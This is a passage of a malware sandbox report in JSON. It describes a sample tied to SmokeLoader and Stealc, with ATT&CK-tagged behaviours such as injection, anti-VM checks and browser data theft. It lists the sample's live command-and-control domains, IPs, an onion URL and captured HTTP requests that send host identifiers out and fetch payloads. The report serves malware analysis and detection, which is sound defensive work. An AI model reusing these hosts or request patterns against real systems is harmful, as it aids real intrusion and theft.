\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133510188735036199.6936.DefaultAppDomain.powershell\" - (UID: 00000000-00006936)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"app.alie3ksgaa.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00003376.00000000.71842.0E400000.00000004.mdmp\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00004788.00000001.70475.0E800000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%APPDATA%\\Temp\\Task.bat\" \"\" (Indicator: \"\\system32\\cmd.exe /c \"; File: \"cmd.exe\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%APPDATA%\\Temp\\Task.bat\" \"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00003376.00000000.71842.0E400000.00000004.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004788.00000001.70475.0E800000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to query registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenSubKey\" in \"file\"","origin":"Static Parser","mitre_attack_id":"T1012","relevance":1,"id":"static-138","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.133510186580486075.7348.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.133510188735036199.6936.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"User-Agent: HTTPREAD\" (Indicator: \"user-agent: \"; Source: \"00000000-00001908.00000001.70531.02A60000.00000004.mdmp, 00000000-00001908.00000002.72451.02A60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$82","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 73550000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"31839b57a4f11171d6abc8bbc4451ee4.exe\" called \"WbemScripting.SWbemLocator.1.CreateObject\" ... ","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"\"Select * from Win32_ComputerSystem\" (Source: file, Indicator: \"select * from win32_computersystem\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"app.alie3ksgaa.com\"\n \"i.alie3ksgaa.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"rty25.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$83","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Sets a windows hook","description":"\"BroomSetup.exe\" sets a windows hook with filter \"WH_CBT\" for thread ID 2764","origin":"API Call","mitre_attack_id":"T1056.004","relevance":10,"id":"api-71","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"The input sample possibly contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 1877717)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"file.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"InstallSetup9.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"rty25.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"nsd67A7.tmp\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\" - Location: [%TEMP%\\nsd67A7.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"InstallSetup9.exe\" called \"NtQueueApcThread\" (UID: 00000000-00007492)\n \"rty25.exe\" called \"NtQueueApcThread\" (UID: 00000000-00001908)\n \"nsd67A7.tmp\" called \"NtQueueApcThread\" (UID: 00000000-00007268)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"file.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\file.exe.log\"\n \"file.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\file.exe.log\"\n \"powershell.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log\"\n \"powershell.exe\" writes a file \"C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log\"\n \"powershell.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log\"\n \"powershell.exe\" writes a file \"%WINDIR%\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"InstallSetup9.exe\" called \"InternetReadFile\" with parameter 8192 (UID: 00000000-00007492)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"$84","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"rty25.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"2ac2e00\"\n \"lpReserved\": \"0\"}\n \"rty25.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"2af8d60\"\n \"lpReserved\": \"0\"}\n \"rty25.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"4efed70\"\n \"lpReserved\": \"0\"}\n \"rty25.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"53919e0\"\n \"lpReserved\": \"0\"}\n \"rty25.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"53de3c0\"\n \"lpReserved\": \"0\"}\n \"rty25.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"5419a50\"\n \"lpReserved\": \"0\"}\n \"rty25.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"4ed9710\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"$85","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Contains Tor Onion URL","description":"\"http://2br6fbckvvnbitgz5legl42pnjbwppxzoqyvb74xkrztdtkim6nk6iad.onion\" (Indicator: \".onion\") in Source: 00000000-00003376.00000000.71842.0E400000.00000004.mdmp\n \"http://2br6fbckvvnbitgz5legl42pnjbwppxzoqyvb74xkrztdtkim6nk6iad.onion\" (Indicator: \".onion\") in Source: 00000000-00004788.00000001.70475.0E800000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1090.003","relevance":1,"id":"string-176","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00003376.00000000.71842.0E400000.00000004.mdmp\")\n Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00004788.00000001.70475.0E800000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /sta/imagd.jpg HTTP/1.1User-Agent: HTTPREAD\n Host: i.alie3ksgaa.com\n Cache-Control: no-cache\n\n GET /service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=sports HTTP/1.1Connection: Keep-Alive\n User-Agent: Microsoft-WNS/10.0\n Host: assets.msn.com\n\n GET /service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=finance HTTP/1.1Connection: Keep-Alive\n User-Agent: Microsoft-WNS/10.0\n Host: assets.msn.com\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"m}{^yw9iyy\"\n \":[8kF7y\"\n \"G8G;]\"\n \"sntovNxw][\"\n \"s:98q \"------KEHDBAEGIIIEBGCAAFHI\nContent-Disposition: form-data; name=\"hwid\"\n\nA068533DF54E758809014\n------KEHDBAEGIIIEBGCAAFHI\nContent-Disposition: form-data; name=\"build\"\n\ndefault8\n------KEHDBAEGIIIEBGCAAFHI--\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$8c","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$8d","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Evasive","details_count":4,"details":[{"detail":"Marks file for deletion"},{"detail":"The input sample contains a known anti-VM trick"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]}],"intel_graph":{"map":{"Domain:app.alie3ksgaa.com":{"type":"Domain","value":"app.alie3ksgaa.com"},"Domain:i.alie3ksgaa.com":{"type":"Domain","value":"i.alie3ksgaa.com"},"File:0aac4703993b76877110f374fdf0fc1481d5ea7a8dfd3f4afd2c08837090a2e5":{"type":"File","value":"0aac4703993b76877110f374fdf0fc1481d5ea7a8dfd3f4afd2c08837090a2e5"},"File:210ab83f242e7f151896e8dcf3e02300f87fc7f557150442913904e08cb5d2d2":{"type":"File","value":"210ab83f242e7f151896e8dcf3e02300f87fc7f557150442913904e08cb5d2d2"},"File:2f58cf8f86a00d28e03873656c157f7e776d0e7feb15cbf0a37bfcf9f27cc137":{"type":"File","value":"2f58cf8f86a00d28e03873656c157f7e776d0e7feb15cbf0a37bfcf9f27cc137"},"File:4f883a42e2baa671520a7471c0fefe56fd75be8fd5abedde10e2873fed11662d":{"type":"File","value":"4f883a42e2baa671520a7471c0fefe56fd75be8fd5abedde10e2873fed11662d"},"File:50a46b3120da828502ef0caba15defbad004a3adb88e6eacf1f9604572e2d503":{"type":"File","value":"50a46b3120da828502ef0caba15defbad004a3adb88e6eacf1f9604572e2d503"},"File:5fac6b8c422f2b2d6c3e7ae10a2271ad911eb7c45a6ec838a1050a744ff786be":{"type":"File","value":"5fac6b8c422f2b2d6c3e7ae10a2271ad911eb7c45a6ec838a1050a744ff786be"},"File:5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9":{"type":"File","value":"5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9"},"File:6f2d014403f22f65ee7b58f3b53229fc2bfe527e1ffdd11f4c043a43ccf2f6b2":{"type":"File","value":"6f2d014403f22f65ee7b58f3b53229fc2bfe527e1ffdd11f4c043a43ccf2f6b2"},"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799":{"type":"File","value":"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["confirmed malicious file","confirmed relationship with a Threat SmokeLoader","confirmed relationship with a Threat Stealc"]}},"File:85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9":{"type":"File","value":"85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9"},"File:8da2cb8ea28028e84ead59e8d7e4f97325351ddab33df6704d3cf8894d5ce7a5":{"type":"File","value":"8da2cb8ea28028e84ead59e8d7e4f97325351ddab33df6704d3cf8894d5ce7a5"},"File:a88db94cbc82c4a274b410f3d16d0782a16849d247fd26c40e2c11cedb3231c0":{"type":"File","value":"a88db94cbc82c4a274b410f3d16d0782a16849d247fd26c40e2c11cedb3231c0"},"File:bbd48c58bc41696a56c317d9650057c725642e5c1dee71a8b4f0b9cbd9095ad4":{"type":"File","value":"bbd48c58bc41696a56c317d9650057c725642e5c1dee71a8b4f0b9cbd9095ad4"},"File:c16fa28b088d4a725152b8af9630445496f973c3c562ed4a4464ca357b0041dd":{"type":"File","value":"c16fa28b088d4a725152b8af9630445496f973c3c562ed4a4464ca357b0041dd"},"File:c23175f569b3a0f09137d2fffacdf818650ccaf5f4cef8115973d25ebe2e1844":{"type":"File","value":"c23175f569b3a0f09137d2fffacdf818650ccaf5f4cef8115973d25ebe2e1844"},"File:c75084ee623451406f12a4e30624ffd844cfdada8204356a14084a3e10073926":{"type":"File","value":"c75084ee623451406f12a4e30624ffd844cfdada8204356a14084a3e10073926"},"File:d587c154ea3d33b016889939d2df7e914dd30bc1b8ca267bc316f4b98926df0d":{"type":"File","value":"d587c154ea3d33b016889939d2df7e914dd30bc1b8ca267bc316f4b98926df0d"},"File:dbbef4a3d983c881e1cfdca4a3abb502e7e193f3049871b5bf900ada5bfdb3f3":{"type":"File","value":"dbbef4a3d983c881e1cfdca4a3abb502e7e193f3049871b5bf900ada5bfdb3f3"},"File:e3e0c2008faa4939ec290b022c4a3df092e1893e61751aff284fd012cade4074":{"type":"File","value":"e3e0c2008faa4939ec290b022c4a3df092e1893e61751aff284fd012cade4074"},"Ip:154.92.15.189":{"type":"Ip","value":"154.92.15.189"},"Ip:185.172.128.109":{"type":"Ip","value":"185.172.128.109"},"Ip:185.172.128.79":{"type":"Ip","value":"185.172.128.79"},"Ip:185.172.128.90":{"type":"Ip","value":"185.172.128.90"},"Ip:5.42.64.33":{"type":"Ip","value":"5.42.64.33"},"Threat:01ad3ab57af3ed428df780da504fbbe2ffc659a877067db16410c43c3aad385d":{"type":"Threat","value":"Stealc","verdict":{"verdict":"malicious","verdict_source":"indicator database"}},"Threat:ada9ac3ecf1aea7a80d89fa364bc17118165a13672a8093fe8ddd6109d5d9133":{"type":"Threat","value":"SmokeLoader","verdict":{"verdict":"malicious","verdict_source":"indicator database"}},"Url:/3886d2276f6914c4.php":{"type":"Url","value":"/3886d2276f6914c4.php"},"Url:/check/?sid=18671&key=be99e179eaaa4a677a5334c5acd5edf3":{"type":"Url","value":"/check/?sid=18671&key=be99e179eaaa4a677a5334c5acd5edf3"},"Url:/check/?sid=18690&key=6dc64b1b6cc4a0a62f037cd5f87b8d73":{"type":"Url","value":"/check/?sid=18690&key=6dc64b1b6cc4a0a62f037cd5f87b8d73"},"Url:/check/?sid=18736&key=753d46256724082d10c460c79e6e3127":{"type":"Url","value":"/check/?sid=18736&key=753d46256724082d10c460c79e6e3127"},"Url:/check/?sid=18758&key=f50ac250b3ae4c8bf06418549efed11b":{"type":"Url","value":"/check/?sid=18758&key=f50ac250b3ae4c8bf06418549efed11b"},"Url:/check/?sid=18792&key=c5c68af0454507c4cb48f224084f5369":{"type":"Url","value":"/check/?sid=18792&key=c5c68af0454507c4cb48f224084f5369"},"Url:/check/?sid=18805&key=e5bee4d2e3e91ecae881f3a9893140c8":{"type":"Url","value":"/check/?sid=18805&key=e5bee4d2e3e91ecae881f3a9893140c8"},"Url:/check/?sid=18827&key=491ce436d2274a8d7cd2de47b6b100a6":{"type":"Url","value":"/check/?sid=18827&key=491ce436d2274a8d7cd2de47b6b100a6"},"Url:/check/?sid=18846&key=ca3b1230b497f309f0f65e69b8b578ac":{"type":"Url","value":"/check/?sid=18846&key=ca3b1230b497f309f0f65e69b8b578ac"},"Url:/check/?sid=18883&key=46cea1de4ba794f10093a8f31488305a":{"type":"Url","value":"/check/?sid=18883&key=46cea1de4ba794f10093a8f31488305a"},"Url:/check/?sid=18895&key=1623659f56b70306faa0debe60e9b013":{"type":"Url","value":"/check/?sid=18895&key=1623659f56b70306faa0debe60e9b013"},"Url:/check/?sid=18920&key=9ce9076621f9485c3c27d9d29a352fc4":{"type":"Url","value":"/check/?sid=18920&key=9ce9076621f9485c3c27d9d29a352fc4"},"Url:/check/?sid=18930&key=47488a34440f0acbb377f84fb5870304":{"type":"Url","value":"/check/?sid=18930&key=47488a34440f0acbb377f84fb5870304"},"Url:/check/?sid=18953&key=cb4a78095c9f0aa56cfa832ea2ad530c":{"type":"Url","value":"/check/?sid=18953&key=cb4a78095c9f0aa56cfa832ea2ad530c"},"Url:/check/?sid=18962&key=a32cd1d80b5f71e3ba8211b6dd1afefc":{"type":"Url","value":"/check/?sid=18962&key=a32cd1d80b5f71e3ba8211b6dd1afefc"},"Url:/check/?sid=18989&key=fedc7cd43405b2669193ad2903c53467":{"type":"Url","value":"/check/?sid=18989&key=fedc7cd43405b2669193ad2903c53467"},"Url:/check/?sid=19001&key=5bc16084765d48bf5cd8ae48a7e8076f":{"type":"Url","value":"/check/?sid=19001&key=5bc16084765d48bf5cd8ae48a7e8076f"},"Url:/check/?sid=19033&key=2df802d3d3a0b4f5c94a91fd148acd51":{"type":"Url","value":"/check/?sid=19033&key=2df802d3d3a0b4f5c94a91fd148acd51"},"Url:/check/?sid=19040&key=9f045664ce18d0718dd5ce96056fee58":{"type":"Url","value":"/check/?sid=19040&key=9f045664ce18d0718dd5ce96056fee58"},"Url:/check/?sid=19069&key=0801927b75a86ca048c572d5eec33a64":{"type":"Url","value":"/check/?sid=19069&key=0801927b75a86ca048c572d5eec33a64"},"Url:/check/?sid=19082&key=2b05e1477ccfcd5a9d6074cdaa245105":{"type":"Url","value":"/check/?sid=19082&key=2b05e1477ccfcd5a9d6074cdaa245105"},"Url:/check/?sid=19104&key=f8ef7c4505de0cb66c367cdcd06d871c":{"type":"Url","value":"/check/?sid=19104&key=f8ef7c4505de0cb66c367cdcd06d871c"},"Url:/check/?sid=19109&key=9a04ab984c738af6c1db30d118062bd7":{"type":"Url","value":"/check/?sid=19109&key=9a04ab984c738af6c1db30d118062bd7"},"Url:/check/?sid=19145&key=c0968de6b49e30692c2c24f691a5a15e":{"type":"Url","value":"/check/?sid=19145&key=c0968de6b49e30692c2c24f691a5a15e"},"Url:/check/?sid=19161&key=1546575bd3f87bdcbf0e1c383c72e3ba":{"type":"Url","value":"/check/?sid=19161&key=1546575bd3f87bdcbf0e1c383c72e3ba"},"Url:/check/?sid=19186&key=1fba256f9816d9bf97fa2b2e647e82ca":{"type":"Url","value":"/check/?sid=19186&key=1fba256f9816d9bf97fa2b2e647e82ca"},"Url:/check/?sid=19195&key=ac465d661323244ab3b0c753a4167596":{"type":"Url","value":"/check/?sid=19195&key=ac465d661323244ab3b0c753a4167596"},"Url:/check/?sid=19239&key=a8c3640ac8239a19b4da4e2897237b8b":{"type":"Url","value":"/check/?sid=19239&key=a8c3640ac8239a19b4da4e2897237b8b"},"Url:/check/?sid=19255&key=5174158ae55c58134c248242b1507576":{"type":"Url","value":"/check/?sid=19255&key=5174158ae55c58134c248242b1507576"},"Url:/check/?sid=19277&key=85e5c75b61bab07715dc3d7b75eb9287":{"type":"Url","value":"/check/?sid=19277&key=85e5c75b61bab07715dc3d7b75eb9287"},"Url:/check/?sid=19284&key=5259d8c7cd358848797fa8b86f79ec7b":{"type":"Url","value":"/check/?sid=19284&key=5259d8c7cd358848797fa8b86f79ec7b"},"Url:/check/?sid=19312&key=f47b574fcb9eeb9142afdd7e0c75399c":{"type":"Url","value":"/check/?sid=19312&key=f47b574fcb9eeb9142afdd7e0c75399c"},"Url:/check/safe":{"type":"Url","value":"/check/safe"},"Url:/cpa/ping.php?substr=nine&s=ab":{"type":"Url","value":"/cpa/ping.php?substr=nine&s=ab"},"Url:/ping.php?substr=nine":{"type":"Url","value":"/ping.php?substr=nine"},"Url:/syncUpd.exe":{"type":"Url","value":"/syncUpd.exe"}},"chains":[{"id":"1544823448202935337","root":"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","edges":[],"verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["confirmed malicious file","confirmed relationship with a Threat SmokeLoader","confirmed relationship with a Threat Stealc"]}},{"id":"1544823448198741031","root":"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","edges":[{"edge_kind":"in_crowdstrike_knowledge_database","from_key":"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","to_key":"Threat:01ad3ab57af3ed428df780da504fbbe2ffc659a877067db16410c43c3aad385d"}],"verdict":{"verdict":"malicious","verdict_source":"indicator database"}},{"id":"1544823448198741032","root":"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","edges":[{"edge_kind":"in_crowdstrike_knowledge_database","from_key":"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","to_key":"Threat:ada9ac3ecf1aea7a80d89fa364bc17118165a13672a8093fe8ddd6109d5d9133"}],"verdict":{"verdict":"malicious","verdict_source":"indicator database"}},{"id":"sandbox_network","root":"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","edges":[{"edge_kind":"contacted_ip","from_key":"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","to_key":"Ip:185.172.128.90"},{"edge_kind":"contacted_ip","from_key":"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","to_key":"Ip:5.42.64.33"},{"edge_kind":"contacted_ip","from_key":"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","to_key":"Ip:185.172.128.109"},{"edge_kind":"contacted_ip","from_key":"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","to_key":"Ip:154.92.15.189"},{"edge_kind":"contacted_ip","from_key":"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","to_key":"Ip:185.172.128.79"},{"edge_kind":"contacted_ip","from_key":"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","to_key":"Ip:154.92.15.189"},{"edge_kind":"contacted_domain","from_key":"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799","to_key":"Domain:app.alie3ksgaa.com"},{"edge_kind":"resolves_to","from_key":"Domain:app.alie3ksgaa.com","to_key":"Ip:154.92.15.189"},{"edge_kind":"contacted_domain","from_key":"File:84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f